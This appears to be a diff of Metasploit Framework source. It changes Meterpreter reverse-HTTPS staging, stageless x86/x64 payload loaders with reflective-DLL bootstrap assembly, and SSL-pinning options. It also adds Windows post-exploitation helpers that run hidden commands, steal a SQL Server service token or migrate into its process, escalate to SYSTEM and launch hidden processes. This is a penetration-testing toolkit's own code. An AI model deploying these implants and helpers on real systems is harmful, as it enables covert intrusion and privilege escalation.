conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
|
@ -291,12 +295,15 @@ protected
|
|||
|
||||
blob = obj.stage_payload
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
|
@ -304,7 +311,7 @@ protected
|
|||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
@ -340,6 +347,7 @@ protected
|
|||
resp.code = 200
|
||||
resp.message = "OK"
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
self.pending_connections -= 1
|
||||
end
|
||||
|
||||
cli.send_response(resp) if (resp)
|
||||
|
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Helper functionality for handling of stageless http(s) payloads
|
||||
#
|
||||
##
|
||||
|
||||
module Handler::ReverseHttp::Stageless
|
||||
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
include Rex::Payloads::Meterpreter::UriChecksum
|
||||
|
||||
def initialize_stageless
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stageless(&block)
|
||||
checksum = generate_uri_checksum(URI_CHECKSUM_CONN)
|
||||
rand = Rex::Text.rand_text_alphanumeric(16)
|
||||
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
|
||||
|
||||
unless block_given?
|
||||
raise ArgumentError, "Stageless generation requires a block argument"
|
||||
end
|
||||
|
||||
# invoke the given function to generate the architecture specific payload
|
||||
block.call(url) do |dll|
|
||||
|
||||
# TODO: figure out this bit
|
||||
# patch the target ID into the URI if specified
|
||||
#if opts[:target_id]
|
||||
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
# if i
|
||||
# t = opts[:target_id].to_s
|
||||
# raise "Target ID must be less than 5 bytes" if t.length > 4
|
||||
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
|
||||
# print_status("Patching Target ID #{t} into DLL")
|
||||
# dll[i, u.length] = u
|
||||
# end
|
||||
#end
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
|
||||
:url => url,
|
||||
:ssl => true,
|
||||
:ssl_cert_hash => verify_cert_hash,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass'])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -43,7 +43,8 @@ module ReverseHttps
|
|||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
|
||||
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
|
||||
], Msf::Handler::ReverseHttps)
|
||||
|
||||
end
|
||||
|
|
|
@ -57,6 +57,10 @@ class Module
|
|||
# datastore, consumed by #replicant to allow clean override of MSF module methods.
|
||||
REPLICANT_EXTENSION_DS_KEY = 'ReplicantExtensions'
|
||||
|
||||
# The set of keys in {#user_data} that make {#user_data_is_match?} return
|
||||
# true
|
||||
MATCH_KEYS = Set.new([ :match, :match_set, :run ])
|
||||
|
||||
# Make include public so we can runtime extend
|
||||
public_class_method :include
|
||||
|
||||
|
@ -278,6 +282,14 @@ class Module
|
|||
raise RuntimeError, "#{reason.to_s}: #{msg}"
|
||||
end
|
||||
|
||||
# Whether {#user_data} contains everything necessary to make a
|
||||
# `MetasploitDataModels::AutomaticExploitation::MatchResult`
|
||||
#
|
||||
# @return [bool]
|
||||
def user_data_is_match?
|
||||
user_data.kind_of?(Hash) && Set.new(user_data.keys).superset?(MATCH_KEYS)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Just some handy quick checks
|
||||
|
@ -295,6 +307,7 @@ class Module
|
|||
# The array of zero or more platforms.
|
||||
#
|
||||
attr_reader :platform
|
||||
|
||||
#
|
||||
# The reference count for the module.
|
||||
#
|
||||
|
@ -315,6 +328,15 @@ class Module
|
|||
#
|
||||
attr_accessor :error
|
||||
|
||||
# An opaque bag of data to attach to a module. This is useful for attaching
|
||||
# some piece of identifying info on to a module before calling
|
||||
# {Msf::Simple::Exploit#exploit_simple} or
|
||||
# {Msf::Simple::Auxiliary#run_simple} for correlating where modules came
|
||||
# from.
|
||||
#
|
||||
# @see #user_data_is_match?
|
||||
attr_accessor :user_data
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
|
|
|
@ -17,7 +17,7 @@ module Msf::Payload::Stager
|
|||
Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]),
|
||||
Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]),
|
||||
Msf::OptString.new("StageEncoderSaveRegisters", [ false, "Additional registers to preserve in the staged payload if EnableStageEncoding is set", "" ]),
|
||||
Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to default encoders or no encoding if the selected StageEncoder is not compatible", true ])
|
||||
Msf::OptBool.new("StageEncodingFallback", [ false, "Fallback to no encoding if the selected StageEncoder is not compatible", true ])
|
||||
], Msf::Payload::Stager)
|
||||
|
||||
end
|
||||
|
@ -221,22 +221,11 @@ module Msf::Payload::Stager
|
|||
# @return [String] Encoded version of +stg+
|
||||
def encode_stage(stg)
|
||||
return stg unless encode_stage?
|
||||
stage_enc_mod = []
|
||||
stage_enc_mod = nil
|
||||
|
||||
# Handle StageEncoder if specified by the user
|
||||
if datastore['StageEncoder'].to_s.length > 0
|
||||
# Allow multiple encoders separated by commas
|
||||
stage_enc_mod = datastore["StageEncoder"].split(',').map(&:strip).select{|x| x.to_s.length > 0}.uniq
|
||||
end
|
||||
|
||||
# Add automatic encoding as a fallback if needed
|
||||
if datastore['StageEncodingFallback']
|
||||
stage_enc_mod << nil
|
||||
end
|
||||
|
||||
# If fallback has been disabled and no encoder was parsed, exit early and rop the session
|
||||
if stage_enc_mod.length == 0
|
||||
raise RuntimeError, "StageEncoder is invalid and StageEncodingFallback is disabled"
|
||||
stage_enc_mod = datastore["StageEncoder"]
|
||||
end
|
||||
|
||||
# Allow the user to specify additional registers to preserve
|
||||
|
@ -247,34 +236,32 @@ module Msf::Payload::Stager
|
|||
saved_registers.strip!
|
||||
|
||||
estg = nil
|
||||
|
||||
stage_enc_mod.each do |encoder_refname_from_user|
|
||||
|
||||
begin
|
||||
# Generate an encoded version of the stage. We tell the encoding system
|
||||
# to save certain registers to ensure that it does not get clobbered.
|
||||
encp = Msf::EncodedPayload.create(
|
||||
self,
|
||||
'Raw' => stg,
|
||||
'Encoder' => encoder_refname_from_user,
|
||||
'Encoder' => stage_enc_mod,
|
||||
'EncoderOptions' => { 'SaveRegisters' => saved_registers },
|
||||
'ForceSaveRegisters' => true,
|
||||
'ForceEncode' => true)
|
||||
|
||||
if encp.encoder
|
||||
print_status("Encoded stage with #{encp.encoder.refname}")
|
||||
if stage_enc_mod
|
||||
print_status("Encoded stage with #{stage_enc_mod}")
|
||||
else
|
||||
print_status("Encoded stage with #{encp.encoder.refname}")
|
||||
end
|
||||
estg = encp.encoded
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if datastore['StageEncodingFallback'] && estg.nil?
|
||||
print_warning("StageEncoder failed, falling back to no encoding")
|
||||
estg = stg
|
||||
end
|
||||
|
||||
unless estg
|
||||
raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled"
|
||||
rescue
|
||||
if datastore['StageEncodingFallback'] && estg.nil?
|
||||
print_warning("StageEncoder failed, falling back to no encoding")
|
||||
estg = stg
|
||||
else
|
||||
raise RuntimeError, "Stage encoding failed and StageEncodingFallback is disabled"
|
||||
end
|
||||
end
|
||||
|
||||
estg
|
||||
|
|
|
@ -99,14 +99,14 @@ module Payload::Windows::ReverseHttp
|
|||
raise ArgumentError, "Minimum StagerURILength is 5"
|
||||
end
|
||||
|
||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW, uri_req_len)
|
||||
"/" + generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, uri_req_len)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_small_uri
|
||||
"/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW)
|
||||
"/" + generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp
|
|||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
|
@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp
|
|||
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||
|
||||
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
|
||||
if opts[:ssl] && opts[:verify_cert_hash]
|
||||
verify_ssl = true
|
||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -17,6 +17,7 @@ module Msf
|
|||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Register reverse_winhttps specific options
|
||||
|
@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps
|
|||
#
|
||||
def generate
|
||||
|
||||
verify_cert = false
|
||||
verify_cert_hash = nil
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
unless datastore['HandlerSSLCert']
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
|
||||
else
|
||||
verify_cert = true
|
||||
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
|
||||
end
|
||||
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
|
||||
end
|
||||
end
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
if verify_cert_hash
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
||||
end
|
||||
|
||||
|
@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps
|
|||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -50,7 +51,7 @@ module Payload::Windows::StagelessMeterpreter
|
|||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_meterpreter(url = nil)
|
||||
def generate_stageless_x86(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
|
||||
|
||||
conf = {
|
||||
|
@ -75,10 +76,12 @@ module Payload::Windows::StagelessMeterpreter
|
|||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
url = "s#{url}\x00"
|
||||
location = dll.index("https://#{'X' * 256}")
|
||||
if location
|
||||
dll[location, url.length] = url
|
||||
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,36 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Implements SSL validation check options
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Get the SSL hash from the certificate, if required.
|
||||
#
|
||||
def get_ssl_cert_hash(verify_cert, handler_cert)
|
||||
unless verify_cert.to_s =~ /^(t|y|1)/i
|
||||
return nil
|
||||
end
|
||||
|
||||
unless handler_cert
|
||||
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
|
||||
end
|
||||
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
|
||||
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
|
||||
hash
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Implements stageless invocation of metsrv in x64
|
||||
#
|
||||
##
|
||||
|
||||
module Payload::Windows::StagelessMeterpreter_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
db 0x4d, 0x5a ; 'MZ' = "pop r10"
|
||||
push r10 ; back to where we started
|
||||
push rbp ; save rbp
|
||||
mov rbp, rsp ; set up a new stack frame
|
||||
sub rsp, 32 ; allocate some space for calls.
|
||||
; GetPC
|
||||
call $+5 ; relative call to get location
|
||||
pop rbx ; pop return value
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader()
|
||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
||||
call rbx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
mov r8, rbx ; r8 points to the extension list
|
||||
mov rbx, rax ; save DllMain for another call
|
||||
push 4 ; push up 4, indicate that we have attached
|
||||
pop rdx ; pop 4 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; push 5, indicate that we have detached
|
||||
pop rdx ; pop 5 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_x64(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => datastore['EXITFUNC']
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(conf)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
|
||||
return
|
||||
end
|
||||
|
||||
# patch the binary with all the stuff
|
||||
dll[0, bootstrap.length] = bootstrap
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
||||
# append each extension to the payload, including
|
||||
# the size of the extension
|
||||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
end
|
||||
end
|
||||
|
||||
# Terminate the "list" of extensions
|
||||
dll + [0].pack('V')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,210 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
module MSSQL
|
||||
|
||||
# @return [String, nil] contains the identified SQL command line client
|
||||
attr_accessor :sql_client
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL_COMMANDS
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
# Identifies the Windows Service matching the SQL Server instance name
|
||||
#
|
||||
# @param [String] instance the SQL Server instance name to locate
|
||||
# @return [Hash, nil] the Windows Service instance
|
||||
def check_for_sqlserver(instance = nil)
|
||||
target_service = nil
|
||||
each_service do |service|
|
||||
if instance.to_s.strip.empty?
|
||||
# Target default instance
|
||||
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
|
||||
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||
service[:pid].to_i > 0
|
||||
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
else
|
||||
if (
|
||||
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
|
||||
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
|
||||
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
|
||||
service[:display].downcase == instance.downcase # If the user gets very specific
|
||||
) &&
|
||||
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||
service[:pid].to_i > 0
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if target_service
|
||||
target_service.merge!(service_info(target_service[:name]))
|
||||
end
|
||||
|
||||
target_service
|
||||
end
|
||||
|
||||
# Identifies a valid SQL Server command line client on the host and sets
|
||||
# sql_client
|
||||
#
|
||||
# @see sql_client
|
||||
# @return [String, nil] the SQL command line client
|
||||
def get_sql_client
|
||||
client = nil
|
||||
|
||||
if check_sqlcmd
|
||||
client = 'sqlcmd'
|
||||
elsif check_osql
|
||||
client = 'osql'
|
||||
end
|
||||
|
||||
@sql_client = client
|
||||
client
|
||||
end
|
||||
|
||||
# Attempts to run the osql command line tool
|
||||
#
|
||||
# @return [Boolean] true if osql is present
|
||||
def check_osql
|
||||
result = run_cmd('osql -?')
|
||||
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
|
||||
end
|
||||
|
||||
# Attempts to run the sqlcmd command line tool
|
||||
#
|
||||
# @return [Boolean] true if sqlcmd is present
|
||||
def check_sqlcmd
|
||||
result = run_cmd('sqlcmd -?')
|
||||
result =~ /SQL Server Command Line Tool/i
|
||||
end
|
||||
|
||||
# Runs a SQL query using the identified command line tool
|
||||
#
|
||||
# @param [String] query the query to execute
|
||||
# @param [String] instance the SQL instance to target
|
||||
# @param [String] server the SQL server to target
|
||||
# @return [String] the result of query
|
||||
def run_sql(query, instance = nil, server = '.')
|
||||
target = server
|
||||
if instance && instance.downcase != 'mssqlserver'
|
||||
target = "#{server}\\#{instance}"
|
||||
end
|
||||
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
|
||||
vprint_status(cmd)
|
||||
run_cmd(cmd)
|
||||
end
|
||||
|
||||
# Executes a hidden command
|
||||
#
|
||||
# @param [String] cmd the command line to execute
|
||||
# @param [Boolean] token use the current thread token
|
||||
# @return [String] the results from the command
|
||||
#
|
||||
# @note This may fail as SYSTEM if the current process
|
||||
# doesn't have sufficient privileges to duplicate a token,
|
||||
# e.g. SeAssignPrimaryToken
|
||||
def run_cmd(cmd, token = true)
|
||||
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
|
||||
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
|
||||
res = ""
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
res << d
|
||||
end
|
||||
process.channel.close
|
||||
process.close
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Attempts to impersonate the user of the supplied service
|
||||
# If the process has the appropriate privileges it will attempt to
|
||||
# steal a token to impersonate, otherwise it will attempt to migrate
|
||||
# into the service process.
|
||||
#
|
||||
# @note This may cause the meterpreter session to migrate!
|
||||
#
|
||||
# @param [Hash] service the service to target
|
||||
# @return [Boolean] true if impersonated successfully
|
||||
def impersonate_sql_user(service)
|
||||
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
|
||||
|
||||
pid = service[:pid]
|
||||
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||
current_privs = client.sys.config.getprivs
|
||||
if current_privs.include?('SeImpersonatePrivilege') ||
|
||||
current_privs.include?('SeTcbPrivilege') ||
|
||||
current_privs.include?('SeAssignPrimaryTokenPrivilege')
|
||||
username = nil
|
||||
session.sys.process.each_process do |process|
|
||||
if process['pid'] == pid
|
||||
username = process['user']
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return false unless username
|
||||
|
||||
session.core.use('incognito') unless session.incognito
|
||||
vprint_status("Attemping to impersonate user: #{username}")
|
||||
res = session.incognito.incognito_impersonate_token(username)
|
||||
|
||||
if res =~ /Successfully/i
|
||||
print_good("Impersonated user: #{username}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
else
|
||||
# Attempt to migrate to target sqlservr.exe process
|
||||
# Migrating works, but I can't rev2self after its complete
|
||||
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
|
||||
begin
|
||||
session.core.migrate(pid)
|
||||
rescue Rex::RuntimeError => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||
print_good("Successfully migrated to sqlservr.exe process #{pid}")
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Attempts to escalate the meterpreter session to SYSTEM
|
||||
#
|
||||
# @return [Boolean] true if escalated successfully or user is already SYSTEM
|
||||
def get_system
|
||||
print_status("Checking if user is SYSTEM...")
|
||||
|
||||
if is_system?
|
||||
print_good("User is SYSTEM")
|
||||
return true
|
||||
else
|
||||
# Attempt to get LocalSystem privileges
|
||||
print_warning("Attempting to get SYSTEM privileges...")
|
||||
system_status = session.priv.getsystem
|
||||
if system_status && system_status.first
|
||||
print_good("Success, user is now SYSTEM")
|
||||
return true
|
||||
else
|
||||
print_error("Unable to obtained SYSTEM privileges")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end # MSSQL
|
||||
end # Windows
|
||||
end # Post
|
||||
end # Msf
|
|
@ -8,8 +8,8 @@ module NetAPI
|
|||
MAX_PREFERRED_LENGTH = -1
|
||||
SV_TYPE_ALL = 0xFFFFFFFF
|
||||
SV_TYPE_DOMAIN_ENUM = 0x80000000
|
||||
SV_TYPE_DOMAIN_BAKCTRL = 10
|
||||
SV_TYPE_DOMAIN_CTRL = 4
|
||||
SV_TYPE_DOMAIN_BAKCTRL = 0x00000010
|
||||
SV_TYPE_DOMAIN_CTRL = 0x00000008
|
||||
|
||||
ERROR_ACCESS_DENIED = 5
|
||||
ERROR_NOT_ENOUGH_MEMORY = 8
|
||||
|
|
|
@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
|
|||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
ERROR = Msf::Post::Windows::Error
|
||||
MAX_PATH = 260
|
||||
STARTF_USESHOWWINDOW = 0x00000001
|
||||
SW_HIDE = 0
|
||||
|
||||
def shell_execute_exe(filename = nil, path = nil)
|
||||
exe_payload = generate_payload_exe
|
||||
|
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
|
|||
select(nil, nil, nil, 1) until session_created?
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create a STARTUP_INFO struct for use with CreateProcessA
|
||||
#
|
||||
# This struct will cause the process to be hidden
|
||||
#
|
||||
# @return [String] STARTUP_INFO struct
|
||||
#
|
||||
def startup_info
|
||||
[0, # cb
|
||||
0, # lpReserved
|
||||
0, # lpDesktop
|
||||
0, # lpTitle
|
||||
0, # dwX
|
||||
0, # dwY
|
||||
0, # dwXSize
|
||||
0, # dwYSize
|
||||
0, # dwXCountChars
|
||||
0, # dwYCountChars
|
||||
0, # dwFillAttribute
|
||||
STARTF_USESHOWWINDOW, # dwFlags
|
||||
SW_HIDE, # wShowWindow
|
||||
0, # cbReserved2
|
||||
0, # lpReserved2
|
||||
0, # hStdInput
|
||||
0, # hStdOutput
|
||||
0 # hStdError
|
||||
].pack('VVVVVVVVVVVVvvVVVV')
|
||||
end
|
||||
|
||||
#
|
||||
# Call CreateProcessWithLogonW to start a process with the supplier
|
||||
# user credentials
|
||||
#
|
||||
# @note The caller should clear up the handles returned in
|
||||
# the PROCESS_INFORMATION @return hash.
|
||||
#
|
||||
# @param domain [String] The target user domain
|
||||
# @param user [String] The target user
|
||||
# @param password [String] The target user password
|
||||
# @param application_name [String] The executable to be run, can be
|
||||
# nil
|
||||
# @param command_line [String] The command line or process arguments
|
||||
#
|
||||
# @return [Hash, nil] The values from the process_information struct
|
||||
